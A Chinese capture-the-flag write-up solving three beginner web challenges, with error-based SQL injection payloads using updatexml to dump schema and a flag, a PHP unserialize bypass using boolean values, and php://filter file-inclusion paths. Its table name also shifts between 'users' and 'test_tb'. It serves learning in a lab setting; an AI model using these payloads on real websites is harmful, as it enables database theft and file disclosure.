[SWPUCTF 2021 新生赛]error

[SWPUCTF 2021 新生赛]error

报错注入:?id='and updatexml(1,concat(0x7e,database(),0x7e),1) --+

爆出了数据库名称 test_db

爆表名:?id='and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="test_db"),0x7e),1) --+

发现了一个users表

爆字段名:?id='and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="test_tb"),0x7e),1) --+

发现爆出了flag和id

?id='and updatexml(1,concat(0x7e,(select flag from test_tb),0x7e),1) --+

发现flag并没有完全显示出来,应该是长度不够

?id='and updatexml(1,concat(0x7e,mid((select flag from test_tb),32,31),0x7e),1) --+

爆出后面的字段

NSSCTF{b4d5a3d7-f2a5-4085-a973-05b4926b9325}

[HUBUCTF 2022 新生赛]checkin

这是让我们输入usernam 和password 分别等于this_is_secret 和this_is_not_known_to_you 然后有GET传参,然后把传参转换成反序了化(unserialize) 如果等于输出flg反之输出username or password error!

我们先试试传参反序列化

复制代码
<?php
$a['username']  = "this_is_secret"; 
$a['password']  = "this_is_not_known_to_you"; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

发现没有显示

发现失败,有一句提示说 here I changed those two ,可能是flag.php改变了这两个值,

说要穿两个正确值,那我们直接拿true试试

复制代码
<?php
$a['username']  = true; 
$a['password']  = true; 
$a = serialize($a);
echo $a
?>

a:2:{s:8:"username";b:1;s:8:"password";b:1;}

拿到flag

NSSCTF{3c5912f7-08da-4058-8f0a-ddeaa00b3be4}

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)

  • 代码检查 GET 参数 file 的前三个字符是否为 "php"
  • 如果是,就直接包含这个文件
  • 目标是要读取 flag.php 的内容

?file=php://filter/convert.base64-encode/resource=flag.php

我们用这个试试

我们去解析一下b64编码

发现不行,那我们换一个思路

?file=php://filter/resource=../../../flag

NSSCTF{b9f3c77b-6fcd-49ad-aef3-093c962a4abf}

相关推荐
雨白2 小时前
Jetpack Compose Navigation 2.x 详解
android·android jetpack
Android系统攻城狮4 小时前
Android内核进阶之获取DMA地址snd_pcm_sgbuf_get_addr:用法实例(九十一)
android·pcm·android内核·音频进阶·pcm硬件参数
清空mega5 小时前
Android Studio移动应用基础教程(前言)
android·ide·android studio
2501_937145415 小时前
2025IPTV 源码优化版实测:双架构兼容 + 可视化运维
android·源码·源代码管理·机顶盒
zhoutanooi6 小时前
安卓bp文件编译学习
android·学习
aramae8 小时前
MySQL数据库入门指南
android·数据库·经验分享·笔记·mysql
百锦再8 小时前
选择Rust的理由:从内存管理到抛弃抽象
android·java·开发语言·后端·python·rust·go
whatever who cares8 小时前
在Java/Android中,List的属性和方法
android·java
油炸小波11 小时前
09-微服务原理篇(XXLJOB-幂等-MySQL)
android·mysql·微服务
果子没有六分钟11 小时前
setprop debug.hwui.profile visual_bars有什么作用
android